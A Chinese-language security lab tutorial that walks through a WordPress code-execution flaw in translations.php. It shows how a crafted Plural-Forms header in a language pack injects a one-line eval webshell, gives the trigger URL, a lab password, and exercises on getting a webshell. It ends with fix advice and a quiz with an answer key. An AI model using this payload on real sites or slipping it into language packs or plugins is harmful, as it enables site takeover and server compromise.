实验环境
操作机:Windows XP
目标机:Windows 2003 Server SP2
实验工具
PoEdit
:PoEdit是一款文件编辑器,常用来汉化各种程序。它可以更加方便的办法编辑目录,而不用通过启动VI文本编辑器,手动编辑。因此使用起来十分的方便与快捷,本次实验主要用到它的将.mo
格式文件转化为.po
格式文件的文件功能和将.po
格式文件转化为.mo
格式文件的文件功能。Notepad++
: Notepad++ 是在微软窗口环境之下的一个免费的代码编辑器。功能十分强大,本次实验主要用到它的语法高亮度显示和文本内容搜索功能。
实验目的
- 掌握漏洞形成原因
- 掌握漏洞的验证方法
实验内容
漏洞简介
本次漏洞出现在wp-includes/pomo/translations.php
,在一次用到create_function
的地方,create_function
这个函数它的内部使用了 eval 来执行参数。
我们可以通过构造插件、语言包等,将一句话木马写入语言包中,当网站管理员安装我们的语言包的时候,create_function函数会把我们插入语言包中的一句话木马当做参数执行,这样一来,就成功的插入了一句话木马,从而达到任意代码执行的效果。
漏洞影响版本
Wordpress 4.6.1以下版本
漏洞危害
如果管理员不当操作,可导致网站直接被拿下后台权限,攻击者获取Webshell,甚至通过提权控制服务器,危害极大。
WordPress
WordPress是一种使用PHP语言开发的博客平台,是一款个人博客系统,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。
也可以把 WordPress当作一个内容管理系统(CMS)来使用。它是一款使用极其广泛的网站系统。
phpinfo()函数
本函数返回 PHP 的所有信息。
包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告。
漏洞原理演示代码
$newfunc = create_function('$a,$b', 'return "$a+$b = ".($a+$b);} echo "OUT \n ";/*'); echo "New anonymous function: $newfunc \n";
可以看到,在上述示例代码中,函数调用create_function
时,首先通过构造代码语句,使用}
将原函数闭合,然后再添加我们想要执行的内容后再使用/*
将后面不必要的部分注释掉。
之所以如此,是因为create_function
内部使用了eval来执行代码,所以由于这个特性,如果我们可以控制create_function的$code参数,那就有了任意代码执行的可能。
其中echo OUT
是我们添加构造的测试代码,如果成功,则输出OUT,否则报错。
构造完毕后,我们在本地测试一下,测试代码的内容就是网站ceshi/1.php
,内容就为我们上面修改过的代码。
现在我们访问目标网址:172.16.12.2/ceshi/1.php
我们可以看到,输出了OUT,代表着成功执行了我们自己构造的语句。
实验步骤
步骤1:漏洞代码分析
本步骤将分析WordPress源码以及我们要构造的语言包插件源码
我们首先分析WordPress漏洞核心处的代码:
首先登录目标机,打开远程桌面连接,输入地址:172.16.12.2,输入账号administrator,密码ichunqiu进行远程登录访问。
打开c:/Apache2.2/htdocs/wordpress1/wp-includes/pomo/目录下的translations.php文件,右键点击使用Notepad++打开,我们将对这个文件进行源码分析,定位到源码的191-203行:
根据注释可以看到该函数的作用是根据字体文件中的plural forms这个header来创建函数并返回。
其中$expression
用于组成$func_body
,而$func_body
作为$code
参数传入了create_function。
因此最关键的地方就是控制$expresstion
的值,因为$expresstion
可以接受任何字符串和php代码,我们根据自己的需求,构造代码,利用上述原理,达到我们想要的目的,这便是漏洞所在。
接下来分析语言包插件的内容,并将恶意语句插入到语言包中。
我们再次打开c:/Apache2.2/htdocs/wordpress1/wordpress1/wp-content/languages/zh_CN.po,选中该文件,右键选择Notepad++ 打开该文件,使用Ctrl+f快捷键搜索关键字MIME,在MIME附近就是我们需要的核心的漏洞源码,操作如图:
找到MIME关键字附近的关键源码,如图:
这是我们将要构造的语言包,结合前面的WordPress漏洞源码分析:
其中:nplurals的值即为上文中
$nplurals
的值。而
plural
的值正是我们需要的$expression
的值,plural其实就是payload,承载着我们构造的语句。
我们payload中的)
首先闭合了前面的(
,然后;结束前面的语句,接着是一句话木马,再用/*
注释符,注释掉后面的语句。
通过这样,我们就将payload完整的传入了create_function
,在其创建函数时我们payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload。
因此现在对zh_CN.po
文件源码做出改动,将第九行代码"Plural-Forms: nplurals=1; plural=0;\n"
换成"Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*\n"
,使用GET方式传递参数,其中plural
的值就是我们需要控制的payload。
然后,使用PoEdit打开zh_CN.po文件,按Ctrl+S
进行保存,就可以进行漏洞验证了。
接下将进行任意代码执行验证操作步骤
步骤2:代码执行漏洞验证
本步将对代码进行漏洞验证
上一步我们在本地分析其原理后,登录目标机器,对目标网站做出了修改,现在进行漏洞验证:
漏洞验证:
访问目标网站地址:http://172.16.12.2/wordpress1/
我们对目标URL进行构造,使其触发任意代码执行漏洞。我们通过代码审计,发现payload会通过GET的方式接受c的值,这时我们可以在浏览器后面构造c=phpinfo();
,其中phpinfo()
是网站的探针界面,如果执行成功,则可以正常显示phpinfo的内容。
现在构造语句进行任意代码执行漏洞验证,访问构造好的地址:http://172.16.12.2/wordpress1/index.php?c=phpinfo();
可以看到任意代码执行漏洞就可以被触发,phpinfo()被执行,(我们甚至还可以通过中国菜刀连接一句话,拿到Webshell)
到这里,我们成功的验证了Wordpress任意代码执行漏洞。
步骤3:漏洞修复
语言包本身以及WordPress源码本身并没有错,只是在一些条件下会被攻击者利用,从而成为任意代码执行漏洞,根据攻击原理,应该注意:
1:WordPress的translations.php源码码的191-203行:我们对$expresstion
的值进行过滤或替换,将敏感的字符)
,}
,;
进行替换为空。
2:管理员应该注意,在官方发布补丁前建议增强安全意识,不要使用来路不明的字体文件、插件、主题等等。
思考
1.请修改语言包,构造语句函数,最终通过菜刀连接拿到Webshell。
2.请尝试对其他字体文件、插件、主题进行修改,并进行测试,看能否执行出本次试验的效果。
参考资料
http://www.tuicool.com/articles/2En2YfJ
课后习题
第1题:/ceshi/1.php 输出的内容为?
第2题:本次漏洞最为核心的函数是
A、create_function
B、create_function
C、index
D、phpinfo
第3题:有一个文件可以显示网页的配置信息、运行状态等等,这个文件是________?
第4题:本次PHP版本为________
参考答案:
1、OUT New anonymous function:lambda_1
2、A
3、
4、5.4.32